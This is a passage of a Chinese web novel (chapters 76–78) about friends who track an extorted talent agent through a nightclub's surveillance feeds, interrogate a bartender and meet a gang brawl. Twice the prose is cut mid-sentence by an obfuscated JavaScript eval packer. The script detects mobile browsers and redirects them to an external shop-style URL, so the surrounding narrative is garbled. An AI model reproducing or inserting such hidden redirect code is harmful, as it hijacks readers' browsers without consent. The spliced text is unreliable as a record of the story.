对讲机中传回刺耳的尖锐噪音,侍者下意识将对讲机拿远,又重复了一遍:“喂,你们听到了吗?” 不多时,对讲机那边传来沉闷的噗通声,紧接着是有些难以分辨的声音:“收到,over。” 侍者奇怪地皱了下眉,觉得哪里不对劲。 好像,以前安保室从来不会说结束用语...... 76. 敲诈勒索4 安保室。 关清英手中拿着对讲机,脚边躺着几个膘肥体壮的保镖,她回完话后,将对讲机卡在后腰处。 接着手迅速滑入裤袋拿出手机,拨号:“嘟嘟嘟——呼哧呼哧,你在哪儿呢?” 手机那头是正在飞速逃跑的萧子重,喘息声非常大,似乎正在进行夺命狂奔。 关清英一下便猜到是他偷了酒,于是张口就说:“你手上那瓶酒价值25万,已计入量刑金额标准,星会所完全可以起诉你要求判刑......” “少给我扯那些,这酒我压根买不起,”萧子重叫道,“回头让宫欢给钱,先不说这些了,你在哪儿啊?” 情况紧急,关清英不追究那么多,说:“9层的走廊尽头,安保室和监控室都在这里。” 萧子重差点呛到自己,“咳咳咳——安保室也在那?那我们——” “都倒了。”关清英干脆利落地说。 手机那边的声音顿时卡壳,随后传来萧子重敬佩的赞叹:“强!那你等我一下,我马上坐电梯过去。” “好。” 不多时,萧子重赶到9楼,来到安保室附近。 地上躺着几个黑衣保镖,他越过几人横七竖八的身体,来到半敞门的监控室。 关清英正坐在几面大屏幕前,被切割成无数个细碎小方块的监控画面出现在视野中,一眼看去,所有方块中的人都在活动,只看两眼就眼晕得厉害。 萧子重只一眼就连忙转移视线,将怀里那瓶酒递给正在专注看监控的关清英:“这么多的监控,至少要有上千了,你看得过来吗?” “平时不一定。” 关清英头也不转,伸手将酒接过来,低头一看,酒瓶口被木塞牢牢嵌紧。 萧子重也才想起来,他慌着在身上摸索了一阵:“完了,你看我这脑子,刚才只顾着抢酒,忘了再抢个开瓶器。” 关清英只迟疑了一瞬,便将酒瓶的瓶口对准了桌沿。 在萧子重说,要不他再去抢个开瓶器时,哗啦一声碎响,关清英一手劈开了上半部分瓶身,酒水与碎玻璃混杂着,落在她早就用脚勾来的垃圾桶中,一切完美精准。 萧子重大张着嘴,好半天合不拢:“......” 他还是低估了关清英。 “英姐,我我给您拿个杯子。”萧子重在监控室四处张望,被关清英打断,“不用。” 随后,关清英举起半碎的酒瓶,里面的酒水干净,并没有掉玻璃渣进去。 她半仰头,将酒水倒灌入口中,吨吨吨几声吞咽后,将酒放置桌上。 萧子重小心翼翼地看着她:“怎么样?” 关清英做了几个呼吸的动作,抬手擦了擦微湿的嘴角,而后站起身,退后几步,退到门口的位置,将几面超大屏幕的监控纳入眼底。 她说:“现在一定能做到。” “啊?”萧子重反应了一下,才发觉关清英是在回他刚才问的那句话。 面前的人沉静镇定地站着,眼神凌冽锐利,从左边那面大屏幕开始,里面几百个监控视频的内容全部映入眼中。 关清英的眼珠极快地转动,仿佛在眼前快速略过一个个监控视频,监控中或拥挤、或结伴而行、欢歌悦舞的人被一一拆出来辨认。 不是,不是这个,也不是这个。 她的眼珠从左往右转动便是一排监控,接着再由右转回左边,便是第二排监控,来回转动的速度堪比鹰眼,搜寻目标,排除可疑人员。 萧子重半蹲在一边,怕挡住关清英的视线,佩服又害怕地看着她的眼睛高速运转,生怕她眼睛像电脑一样烧了,冒烟。 这就是专业刑侦剧演员吗? 简直强得不是人。 不是,他没骂关清英,他意思是关清英不是人! 不是,他不是那个意思!!! “奚亭云在7楼找人,”关清英的眼睛搜寻到7楼的人,那人正焦急地到处转,“已经排除了1-7层。” “这么快就找完了7层的监控??”萧子重震惊道。 他刚才留意了一下,光是一个楼层里的监控就有十几个,更别说包厢内部的,这速度,也太快了。 但接下来,他更感到恐怖。 似乎刚开始酒效发挥不足,关清英的速度慢了些,在10层之后,酒意上涌,却没让关清英的眼神浑浊,反而使她双目更加有神,清亮。 仿佛平时她只用了百分之五十的专注力,而现在,用了百分之百。 接下来的几分钟里,萧子重耳边尽是关清英的播报声,他只觉得鸡皮疙瘩在一层层冒出来。 “13层没有,15层没有,18层没有,20层安声在跳艳舞,24层没有,28层没有,30层走廊没有,包厢排除前面的,发项目标宫欢——在3309号包厢,好像在,交易?” 萧子重完全忽略了正在跳艳舞的安声,注意力全被关清英的速度惊到,他鸡皮疙瘩好一阵下不去,听到宫欢在交易时,猛的回了神:“交易?什么交易?” 关清英抬手揉了揉一边的眼睛,指着前方大屏幕上小小的一块屏幕说:“金钱交易,她带了200万左右的现金。” 萧子重根据她指的方向走过去,把脸贴在那块屏幕上才能勉强看清宫欢的脸,更别说细节了,只能隐约看出桌上摆着一沓钱:“多少钱你都看得出来!?” 关清英打了个酒嗝,一本正经道:“算出来的,她提的行李包面积不大,我看她刚才提了一下,重量偏重,加上行李包大小推测出来的......这酒挺好喝的。”说着她又去灌了几口酒。 发现宫欢的所在地与正在做的事,萧子重哪还管得了那么多,他忙拿出手机给另外两人打电话。 “嘟嘟嘟——老奚,找到人了,在30层,3309号包厢,你绝对不敢相信,宫欢在做什么,她在和别人交易!!喂,喂?老奚?——嘟嘟嘟......” 萧子重莫名其妙地看了眼手机界面,电话被人挂断了,他只好再给安声打去。 刚才关清英好像说,安声在,跳什么舞?都什么时候了还跳舞! “嘟嘟嘟——嘟嘟嘟——嘟嘟嘟。” “嘟嘟嘟——”萧子重等了一会儿,对面才接电话,手机那头劲爆的乐曲动次打次的响,非常刺耳,“小安,你在哪儿呢,怎么那么吵。” “我%……!*……@被拦住了!@@&非要让我跳,”安声那边吵吵嚷嚷,他说话都像是带着回声,听不清楚,“&&……()走不开,@@救我!!” 萧子重皱着眉重复道:“什么,收旧衣服??” “!&……救!@我!” “走你?” 对面挂断了电话,萧子重一脸无语,“不会玩嗨了吧,怎么劝不走。” 关清英突然冒出一句:“宫欢交易结束,她好像要走了,奚亭云正在乘坐电梯前往30层。” 她在时刻关注动向,萧子重也顾不得安声,转身就走:“那快走啊,别让人跑了!” 关清英点点头,走在前面,丝毫看不出醉意。 在他们身后的一小块监控视频中,宫欢正掏出几沓钱用力砸人,看样子似乎气得不轻。 - 30层,3309。 推开包厢门,宫欢就将行李包甩在桌子上,气势汹汹地看着包厢内一个穿着酒保衣服的男人。 她上下打量他:“就是你拍了那么多照片来威胁我?” “不不不,不是我,”酒保忙摆手,有些拘谨地解释,“我是来代人收钱的,他说不适合露头,让我代为出面,防止您中途变卦,用他的话说就是“以防万一”。” “防防防,我防他个头!” 宫欢当即不耐烦,转身往沙发上一坐,两腿翘在桌上,一副大爷做派: “都敢讹到我头上来了,不知道我是什么人啊?耍了我一道不说,交易本人还不来,有没有点诚意?” 酒保慌忙给宫欢倒水:“您消消气消消气,这个毕竟情有可原嘛,狗仔都怕被人查出来真实身份,一不小心命就没了。” 宫欢跑了这么一大圈,确实累了。 拿起水杯几口灌完,随即将空杯使力砸回桌上,玻璃杯顿时爬上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126367|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些裂痕。 她语气不善:“所以现在怎么个意思,我和你交易?照片呢,还有底片都给我拿出来。” 大半夜的被人溜来溜去,找着地方送钱,她早就憋着火了。 酒保胆战心惊地咽了咽口水:“是,是这样的,那位先生说只让我收钱,数钱,并没有说其他的......” 酒保的声音在宫欢的死亡注视下越来越小。 宫欢怒极反笑,她双手撑在身侧的扶手上站起身,身后的沙发往后猛地移出一大段距离,咚的一声撞在墙上。 “哦,你是说,我是来给你们送钱的,还要看你们的脸色?”她一步一步靠近,脸上虽是笑着的,可有种让人浑身打颤的森然语气,宫欢一把揪住这人衣领,反问道,“我很好惹吗!” “不不不不好惹!”酒保欲哭无泪地举起双手求饶,“真不是我要招惹您,是那个男的,他非要让我帮他收钱,说给我分10万,只需要在您来的时候确认一下钱对不对,其他的我真不知道!” 宫欢才不信,她瞪着他: “你都收钱成他帮凶了还说什么不知道,少装无辜,你也得死!” 没等宫欢准备开打,手机电话铃声响起,酒保哆哆嗦嗦地提醒她:“姐,姐,电话!要接电话了!” “用你说!” 宫欢骂他一句,松手拿出手机。 来电屏显是陌生号码,不过宫欢有些眼熟这号码后几位,是发勒索短信的那个手机号。 接起来,对面立即传来慢悠悠的问候:“宫大经纪人,您到地方了吗?” 宫欢反手将手机打开免提,另一只手伸出去抓住想要趁机逃走的酒保,把人拽回来:“啊啊我错了我错了姐,我不跑了!!我再也不敢了!” 手机那边沉默片刻,宫欢将手机拿回来:“我说,我从没见过这样的勒索方式,你让我跑了两个地方,现在居然连本人都不出面,交易好歹要让我看到诚意吧,我现在已经被你耍了两道,火大的很,你最好别让我知道你是谁。” 否则他就别想在这个圈子里混了! 宫欢顾忌着对面可能会开通话录音,没说太多,点到即止。 狗仔顿了片刻,语气放低: “圈里做事都是这样谨慎,您应该不会跟我一个小人物计较这么多吧,多废精力啊。大经纪人,麻烦您把钱交给酒保。” “什么,你在说什么鬼话,”宫欢一把推开酒保,“我连照片都没看见,你就让我把钱给他,你傻还是我傻?” “一手交钱一手交货,亘古以来都是这样交易,你会不会做生意啊,还要我教你。” 狗仔那边却笑了几声,仿佛一切尽在掌握,让宫欢的火更大: “可不是也有钱货交易的时候被人一锅端的先例吗,我总得防着点,您说呢?” 似乎预测到宫欢要怼他,男人语速极快地说:“最后一次,我现在在西郊废弃仓库,您现在来,我会把底片全部交给您,任凭您处置,大经纪人放心,不会再有其他的岔子了。” 话音刚落,电话被迅速挂断,直接将宫欢欲张未张的嘴堵住。 “他,他,他居然挂我电话!”宫欢震惊地看着手机界面,险些气得把手机砸了,“耍我,又耍我!!啊啊啊啊啊啊啊,混蛋!!敢骗到我头上来!!” 她一肚子火气没处撒,转头看见酒保还躲在一边,当即更是火冒三丈。 宫欢走到装着两百万现金的行李袋旁,扯开拉链,抓着里面的钱就往酒保那砸,一沓一沓的钱在宫欢眼里已经不是钱,而是砖头。 她两手同时开弓,照着酒保往死里砸,把酒保吓得窝在包厢沙发的角落里,整个人缩在一起也不敢还手。 毕竟,他哪儿惹得起宫欢啊。 宫欢边砸钱,嘴里还一直骂着:“哪锅里的死老鼠敢从我头顶上的天花板过去,一会儿我就,把你们全逮了,烤了喂狗!!” 有几沓钱砸在酒保头顶的墙上,随即那些钱便散开,哗啦啦地从半空洒落。 虽然宫欢砸得手劲不轻,把酒保脸上砸得青一块紫一块,可酒保还是觉得,值了! 77. 敲诈勒索5 星会所电梯中。 关清英和萧子重刚走进电梯,两人看着那一排按钮,分别按了20和30。 安静的电梯中,两人对视。 萧子重先发制人:“你摁20干嘛?我们不是去救宫欢吗?” 关清英有理有据:“小安还在包厢里跳艳舞,他的死活我们不管了吗?” 两人默默对视片刻。 萧子重:“救宫欢,我们这次就是来找她的。” 关清英:“救小安,他已经在违法边缘了。” 萧子重:“那宫欢呢?她拿那么多钱不知道在做些什么见不得人的交易就不管了?” 关清英:“我目测她能应付得来,不像是受到威胁的样子。” 两人僵持片刻,电梯停在了20层。 电梯门开,关清英走出去时说:“奚亭云在去30层的路上,他最近在练习各种武术,我相信他可以救出宫欢,那么我们两个就去营救小安,大家分头行动更稳妥。” 她说得有鼻子有眼,萧子重只迟疑了一秒,便跟了上去。 - 安声跟着男模进了那间包厢。 他有些拘谨,一进入包厢眼睛便四处张望—— 这间主题包厢里面香气浅淡,播放着慵懒氛围的BGM,天花板上垂落着缓缓转动的流光霓虹灯球,灯光倾泻而下,有两道粉紫色的光束略过他的脸。 包厢分里外两间,外面有张大沙发,各类珍贵酒水摆了一桌,看着像是喝过几轮了。 男模叮嘱他:“你先等一下,等下我说什么你就顺着我说。” 安声胡乱应了两声,男模绕开沙发往里间走,里间与外间隔着磨砂玻璃,只能看见有个人形,男模过去后,传出了些听不真切的交谈声。 安声侧头想听几句,一个字都没听清。 不多时,男模领着一个女人走了出来,女人穿着宽松的睡袍,懒散地坐在了沙发上,保养得当的手抚了抚头发,看了眼安声:“长得不错,只是看着年龄不大啊。” 男模连忙说:“刚来没多久,还没接过几个客人呢。” 女人嗯了声,而后视线在他身上扫动。 安声莫名幻视以前在夜店的日子,总是有许多人这样打量他,审视他。 他有些不舒服的揪了揪衣摆,心里在打退堂鼓。 不是说来跳个舞就好了吗,怎么感觉还有别的流程? 男模手快地打开了包厢内的更多灯光与音响,音乐顿时切换成了更为有氛围鼓点的节奏乐,血液与骨子里自带的韵律感不自觉就跃动起来。 心情随着音乐变换,安声没刚才那么怯场。 他想了想,跳一会儿舞就有15万,以前他做‘灵蛇’的时候,一晚上跳四五个小时只能赚到八百,现在居然能赚到几十倍的钱,他想都不敢想。 虽然欢姐给他开了5万一个月的工资,可这些钱顶得上他三个月的钱了,他要证明,他也是可以挣到很多钱的。 想到这,安声更加坚定要留下来拿到钱的想法。 男模在女人身后,双手挥动,做口型说:“开始开始!跳起来!” 哦哦,要跳了。 这种专业的事情,安声手到擒来。 前一秒还乖乖站着,得到许可的瞬间便舞动起来。 外侧包厢的各类道具用品应有尽有,甚至钢管都在茶几前。 安声两个摆胯动作扭到了钢管上,手臂顺势搭上去,旋身转动甩了甩头,刚才还清澈的眼神瞬间切换成带着些魅色的眼波流转。 在女人身旁的男模瞬间看愣了。 这,这是专业的啊! 刚才男模只看了他的脸,心想着就算舞跳得不行,看在这张脸的份上,这位金主也会稍微怜爱一下。 没想到—— 女人饶有兴味地单手托着下巴,似乎颇为满意。 稳了! 男模悄悄地将氛围音乐开大,又点了些香薰。 正在跳钢管舞的安声微微出汗,比刚开始更放得开,索性将外套脱下,随着舞蹈动作丢到一边,女人捧场地叫出声,兴奋地鼓掌。 舞跳到后面,女人也跟着他一起来跳,甚至伸出手搂住他亲了两口,将安声脸上亲了好几个唇印。 男模不知道什么时候走了,就剩安声和女人,他有些为难地推了推她:“那个,姐姐,我只是来跳舞的,不能乱亲。” 女人喝了些酒,难得碰上这么个合心意的男模,拉着他就倒在沙发上,手指在安声的脸上滑动,语气轻柔暧昧:“亲一下又不会怎么样,放心,我不是那些爱折磨人的货色,只要你能哄我高兴,多少钱都给你,嗯?” 安声被女人的语气哄得晕头转向,刚想点头时,脑中忽然响起宫欢很早之前跟他说过的话—— “你到时候可不要被迷了眼,别一不小心就被富婆姐姐骗走了,要专注事业,好好赚钱回馈我——你的贵人我,知道嘛?” 他瞬间清醒不少,拦住了女人要亲下来的嘴:“不不不不行!” 女人有些不满,从一旁的包里掏钱出来塞在安声手里:“一个吻一万,亲不亲?” 就算10万也不行啊,万一被宫欢告诉他妈妈,安声绝对会被家法伺候。 他坚定地摇摇头,推开女人时手机响了起来,安声忙扑到外套上拿出手机,接起来求救:“救我——” “回收旧衣服??” “救我——” “走你?” 你来我往的加密对话没一个人能听懂。 安声有些抓狂,身后女人也扑了过来,捧着他的脸吧唧吧唧地亲,安声欲哭无泪地往后躲,一边推搡着女人,一边说:“你别亲了,我真的不能做这些事情!” 女人:“哎呀小朋友别那么死板,你要多少钱,姐姐都能给你,这样吧,我包养你,你以后就跟着我怎么样?” 居然还要包养他! 他才不会就这么屈服在金钱的威势下,他是有自己的理想的,站上更高的舞台,成为最耀眼的舞者。 安声实在没办法。他长期训练力量不小,只是刚才一直怕伤着人才收着力。 这会只好强行抓住女人手腕,锁在她背后,将人困在沙发上,居高临下地严肃的教育她:“我是个正经跳舞的人,你不要侮辱我,刚才那个哥哥说我只要进来跳个舞就好了,他没有说我要做这些,你给多少钱我都不会出卖自己的!” 女人盯着他的嘴唇看了半响:“......你擦口红了吗?什么色号的啊?” 安声:“......”这姐姐根本没听啊! 正当两人僵持时,包厢的门被人一脚踹开。 “老安!我们来救——”萧子重一眼看见沙发里一上一下的两人,震惊之余,缓缓吐出剩下的两个字,“你,了??!!” 关清英倒是很淡定,看着两人点点头:“已经从违法行为转变成了双方自愿,那我就不介入了。” 说着关清英干脆利落地转身,头也不回地准备换地方。 萧子重大张着嘴,指着安声:“你,你你,你真的堕落了?——那我也走吧。” 萧子重极快地退出去,贴心地带上门。 “别走啊,萧哥!英姐!” 安声急忙忙松开困住女人的手,跳起来就打开门往外追,追到一半想起来外套没拿,又拐回来捡起落在地上的外套,走时还礼貌地跟女人道别:“姐姐再见!” 说完便不顾女人的挽留跑了。 连追带赶地跟上两人后,三人进入电梯,彼此之间流淌着沉默。 安声脸上都是红唇印,深V衬衫蹭得皱巴巴,他老老实实地站在靠后的位置,抬眼看了看关清英,又看了看萧子重。 安声轻咳一声:“那个,萧哥,我刚才没——” “不用解释,”萧子重打断道,他回头做了个深以为然的表情,“我懂,懂得。” 安声抿了抿唇,又想跟关清英说:“英姐,不是你们想象的那样。” 关清英仍是淡定:“嗯,我知道。” “你真的知道?”安声讶异。 关清英:“刚开始是她强迫你,你反抗,这是违背你个人意愿,属于违法行为,而如果再加上收了钱的话,那就是属于卖x——根据情节而定,她拘留15天,罚款5000元,你虽然是被迫的,可后来反而配合她,那就是双方都有行为,不过情节较轻,你拘留......” 安声默默擦了擦汗。 他就不该问清英姐,一问就要被拘留了。 - 三人来至30层,冲到3309包厢时,门半开着,奚亭云呆呆地站在门口的位置,包厢内灯光大亮。 三人心里预感不妙。 关清英反应最快,最先摆出战斗姿态,将半开的包厢门一脚踢开,同时,她习惯性地单手撩开外套,手伸至腰侧,想掏出枪械,手却摸了个空。 关清英愣了一秒,才想起来她早已经不是那个“陈队长”了。 但也仅仅是停顿了片刻。 关清英仍旧以最快的速度冲进包厢,警戒地巡视了一圈,确认没有危险的气息与可疑武器才降低了一些防备,很谨慎。 在另外两人进来后,三人纷纷看向了奚亭云的视线方向—— 洒满红色钞票的沙发上坐着一个略显拘谨的酒保,红艳艳的钞票将他包围,他头顶都有几张,手里拿着几沓钱,像是正在数钱的时候被人闯入打断,于是便尴尬地坐在这。 “宫欢呢?”关清英问。 奚亭云压抑着错乱的呼吸,他摇头,视线不善地盯着酒保,仿佛要将人盯出一个洞:“没看见,我到的时候就只有他在。” 酒保坐在一堆钱票子里,动也不敢动,他刚刚数钱数得欢,现在倒像是被人现场抓住这场交易——尤其是关清英带着审视、充满压迫感的视线,更让他心虚又后怕。 奚亭云刚想出声问人去哪儿了,被关清英抬手阻拦住。 大家都知道关清英的手段,于是都配合的闭了嘴。 她眼神微凝,一步一步走到酒保前面,拿起一张红票子晃了晃,姿态与气势十足,随后将这张钱轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126368|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甩在酒保脸上。 “这么多的钱,又躲躲藏藏地来这家会所,看来不是正常交易,我怀疑你们在做一些危害社会的事情。” “你知道做这些的后果是什么吗?” 关清英居高临下,语气严厉地发问,她一只手抓住了酒保衣领,将人的身体提起来大半,低头凝视着他,气质威严。 “你们已经涉及违法犯罪行为,情节非常严重,一旦查出刑期20年起步,想想自己的家人,父母,朋友,别把自己陷入无路可走的地步,我看你也没多大,要是好好交代还有回旋的余地。” “但如果你拒不交代,”关清英松开酒保的衣领,反手抓起桌上的一瓶酒,“砰”地一声摔碎了酒瓶,握着半碎的酒身在吓到不敢动的酒保面前晃了晃,“那就没什么好说的了。” 酒保吓得哆哆嗦嗦,忙把手中的钱丢开,求饶道:“我什么都没做啊!我也是被逼迫来的,他只说让我来收钱,数一数对不对就行,没说这事儿是违法的啊,真的,警官,你相信我!” 酒保认为,面前的人就是便衣警察,老实交代万事大吉。 萧子重默默在奚亭云旁边吐槽了一句:“我以为她会说拒不交代就带走审问。” 奚亭云没心思搭理,他注意力全放在酒保吐露出的“真相”中。 “我,我只是配合一个狗仔记者,他说他和宫欢在做一笔交易,对方答应了,但是他怕暴露自己,所以让我帮忙验收一下钱数......好像是他拍了一些照片,宫欢想买下那些照片,其他的我就不知道了,我只是帮忙数数钱啊警官!” 关清英铁面无私:“这要看双方的行为,如果那个狗仔有威胁行为,那你们就是在敲诈勒索,在此次交易中你做了一个帮凶,并不能摆脱你的犯罪行为,我劝你趁早去自首,还能从轻量刑。” 酒保大哭着抱住关清英大腿:“我真的知道错了,不要啊警官,我家里还有刚出生的孩子——” 萧子重与安声默默看着这场劝人从善的场景。 奚亭云陷入沉思。 所以,是有人拿照片威胁了欢欢,勒索她给钱,才会有今晚这一出闹剧。 为什么她瞒下了这件事,只想自己解决。 万一这些人丧心病狂,在勒索过程中伤害她怎么办? 万一这不是敲诈勒索,而是一场绑架,更甚至,万一对方嫌钱不够多,拿到钱后再绑架她...... 他不敢想,奚亭云的心忽上忽下,顿时慌乱起来。 他几步上前,冲到酒保身后,强行扯着酒保把人拖起来,黑沉着脸,比之关清英的威严更像是狠戾:“她去了哪里?她现在人在哪!?说!” 酒保一时被吓得六神无主,嘴唇颤抖着说不出话:“她,她......” 奚亭云抓着人的手背凸起青筋,他身体前倾用力摇晃酒保,像是不逼出一个答案,誓不罢休:“快说!她要是受伤了怎么办!她如果出了事,你死都不够——” “奚亭云!”关清英呵斥住他有些疯狂的举动,上前掰了两下才将奚亭云的手掰开,她皱着眉说,“请控制你的情绪,不管他知不知道你都不能用这种方式对待嫌犯——你们两个,拉住他。” 身后,萧子重和安声听话的上前,将有些失控的奚亭云拉住,劝说着他。 不止关清英有些意外奚亭云的反应,萧子重与安声也都略带惊讶,他们惊讶于奚亭云的情绪如此突然的崩溃。 相处的这段时间以来,他遇事总是温和的处理,无论宫欢提出怎样的难题,他都没有情绪,好像不会生气,不会反抗,只像是逆来顺受的老实人。 可有时候他们也会被奚亭云偶尔的刺扎到,他的刺藏在平静柔软的砂砾下,当脚踩入带着温度的砂砾中,那根隐藏的刺便狠狠地将人扎了一下。 以此来说明,他奚亭云并不是可被人随意欺辱的。 他的反抗是让人有些后怕的,以至于安声现在谁都敢惹,但就是怵奚亭云。 而萧子重则是常被奚亭云偶尔的话刺到,却又想不出哪里有问题。 慢慢的,他们都知道奚亭云是个非常善于忍耐,隐藏,却又不好惹的一个人。 而今天,奚亭云的刺,外露了。 他刚才说到一半的话戛然而止。 萧子重仔细琢磨了下,感觉出不对味来。 以他多年来的演戏经验与人物台词的揣摩来看,奚亭云的那句话貌似有些特殊的情感。 “她如果出了事,你死都不够。” 再加上奚亭云始终没缓下去的情绪,萧子重隐约觉得,这种情绪,好像是叫什么来着? 关清英半蹲下身,酒保被奚亭云吓得就差钻桌子底下去了,她拿起碎酒瓶,好言相劝:“宫欢给完钱之后拿到照片了吗,她离开了,还是去了哪里?你最好不要有所隐瞒,不然我就不知道会发生什么事了。” 说着,关清英一脸平静地将碎酒瓶往酒保脖颈处送了送,冰凉的酒液滴落在身上,酒保终是没忍住哭出了声: “我说,我全都说!!你们饶了我吧——” 78. 敲诈勒索6 四人上了车,看着那张写着地址的纸条。 “不出所料,宫欢应该就在这里。” 关清英说话的同时启动车身,以最快的车速在城市中行驶。 遇到危机情况,闯红灯是必要的,因此关清英难得地没有遵守交通规则,她本该拿出警灯盖在车顶上,但警灯在家里。 她只好向其他人求助:“你们谁用手机打开警笛,鸣笛提示周围的车。” “我来我来!”安声兴冲冲地拿出手机找到警笛声,降下车窗,用最大音量播放。 奚亭云则在看纸条上的地址,在地图软件上搜索到了该地址信息:【西郊废弃工厂】,方圆10公里都是荒郊野岭。 他薄唇紧抿,牙齿咬得很紧,以至于两颊有些微变形。 “废弃工厂......”奚亭云念道,“这么晚了,她一个去这么危险的地方。” 萧子重默默点头:“真是不自量力啊。” 奚亭云顿时转头,目光幽深地盯着他,萧子重当即改口:“我是说那个狗仔不自量力,他完全低估了宫欢的战斗力!” 奚亭云想到上次小巷的事,他垂眸,攥紧了那张小纸条,自言自语:“她确实很厉害,但也不能这么冒险。” 关清英搭话道:“对,不要冒险行事,大家都是公民,保护好自己就行,遇到无法解决的事情就要寻求公安的帮助。” 车身外,警笛声呜哇呜哇地叫嚷着,城市内的大部分车辆都让行了,而开出城市外后,关清英让安声关掉了。 她说:“万一我们人还没到,警笛声先到,容易惊动嫌犯。” 开车前往地点的同时,关清英还让小李警员帮忙查了一下宫欢的手机定位,得到了确切的回复,该手机定位确实在【西郊废弃工厂】。 前往废弃工厂的路有两条,一条较为偏僻,一条则是公路,关清英果断选择了公路,车开至一半,路两边的景物愈显荒凉,直到了一个加油站附近时,车前面出现了些拦路的路障。 关清英将车缓缓停下,她环顾四周,心底预感不对:“好像要出事了。” 奚亭云坐立难安,他焦急地看了看手机时间:“有什么问题?离目的地还有20分钟,先尽快赶过去好吗?” 关清英摇头,她目光警惕地在加油站周围缓缓移动,拉下手刹,解开安全带:“我闻到了危险的气息。” 萧子重纳闷地降下车窗,将头探出去看:“哪儿危险了——” 一块砖头从漆黑的夜色中飞旋而来,多亏萧子重眼快,迅速将脑袋缩回车内,砰地一声,半截车窗被砸出细密的裂纹。 “卧槽!”萧子重傻眼,心有余悸地关紧车窗,“这哪儿飞来的?什么情况啊!?” 正在几人慌忙向外看时,夜色中走来了一群穿着拖鞋、花布衫短裤的人,手里拿着或砍刀,或棍棒的扛在肩头,放眼看去足足有二十多人。 走在前头的一人看了看车,嬉笑着说:“不大一车人挺多啊,行了,都懂点事,你们都给我下来,不然就别想走了。” 车内几人都有些懵,这是,要劫车? “怎么这么倒霉啊,”萧子重急得挠头,“关键时候有人挡路。” 驾驶位上的关清英有些心虚,她咳了咳,手抵在唇边,小声地委婉解释:“有件事忘记跟你们说了。” “什么?”萧子重与安声异口同声,奚亭云则是疑惑地看她。 众人的目光齐齐看来,关清英淡定道:“我喝酒之后,虽然各方面效率会提高很多,但是有个非常致命的玄学机制——百分百触发疑案凶案等随机事件......” 萧子重已经听愣了:“你说什么,百分百触发随机事件??还有这种东西?你怎么不早说啊!!现在好了,我们根本走不掉了。” 安声也闻所未闻:“英姐,真有这么神吗?” 关清英谦虚着:“没有那么神,其实也就是10次喝酒,有11次触发的情况,以前我在拍戏的时候,警局的公安人员都会找我去做顾问......帮助他们破获大案之类的。” 当初协助关清英拍摄【重刑之下】的警局人员里,其中有不少人都获得了一二等功,有些因此升职加薪,就连小李警员也有功在身。 奚亭云哑口无言,噎了好一会儿:“那现在怎么办,开车直接闯过去,时间不等人,我们没那么多时间。” 关清英拧着眉头仔细看了看,只有二十多人,以她练出来的山路十八弯车技,应该能闯出去。 “我试试,你们坐好。” 车前灯大亮,关清英开了远光灯,想借灯光掩饰,驾车绕开这些人。 但没等她轰油门,另一边又走出来一波人,也是约有二十多人的样子,这群人扛着斧头钢管,晃晃悠悠地走到了马路上。 领头的是个板寸头小年轻,他狂得没边,叼着一支烟将手里的钢管指向车内的人吆喝:“你们都给我下车!把所有值钱的东西都给我拿出来,通通交出来!” 这话一出,马路对面花衬衫领头人不爽了:“秃子你欠揍了啊?这路是爷们占下来的,你们算哪来的野狗啊,也敢跟我们抢地盘!?滚开,都滚,不然别怪兄弟们不留情面。” 花衬衫身后的二十多人也纷纷应和,叫了起来,一时间场面吵嚷非常。 板寸头嗤笑着上前,他身后的弟兄们大摇大摆地跟着前进,板寸头拿砍刀拍了拍花衬衫的胳膊:“情面是什么玩意儿,弟兄们不识字,只知道谁打得过谁,地盘就是谁的!你们说是不是!” “是!!”板寸头身后的小弟们叫嚷道。 “滚!!”花衬衫小弟们也冲着对面喊。 一条马路两边是剑拔弩张的帮派,而马路中央的则是私人的商务车,还开着远光灯。 一时间场面僵持住了,直到不知是什么种类的鸟咕咕叫了一声,仿佛号角令响起,两拨人顿时怒吼嘶喊着扑向对面,一时间场面又乱又闹,大叫大嚷声不绝于耳。 车窗前时不时还会飞着砸来几个人,关清英默默打开雨刮器把人刮下去。 目睹全过程的众人:“......” 萧子重默默说:“这次是触发了,帮派斗殴事件啊。” 几人沉默。 车内也并不安全,有几个不要命的拼命砸着车窗,凶恶地叫道:“你们都给老子滚下车!” 车内的三人从没见过这种大阵仗,最多平时就遇到一两个混混流氓的,像这种几十人的场面,完全是开了眼界了。 关清英叹了口气,她神情镇静,看不出慌乱,反而有种回归“日常”的感觉。 她熟练地解开安全带,打开车锁,推开车门下车时交代几人:“我下去清理路障,你们等下看情况,如果有空位了就往前开,顺便再报个警。” 几人没反应过来她的意思。 人要下去时,奚亭云叫住她:“等等,你一个人能行吗?他们有二十多个人,就算你身体素质强,也不要勉强,我们想想其他办法。” “是啊,英姐。”安声不知道如何劝阻。 “是啊,英姐,”萧子重学着安声平常的语气,附和道,“那些人都打疯了,你一下去说不准就被哪飞来的钢棍打到,别逞强,我们知道你厉害,但是现在是人多势众的时候!” 关清英淡笑着关上车门,隔着车窗向车内担心的几人说:“相信我。” 这时,身后有缠斗的两人刚撕扯一番,拉开了距离,看见刚下车,背对着他们的关清英,两人互相看了眼,都忽然默契地扑向关清英! 一人手举砍刀,一人手拿铁棍,飞扑而来的同时,两人扭曲丑陋的嘴脸毕现—— 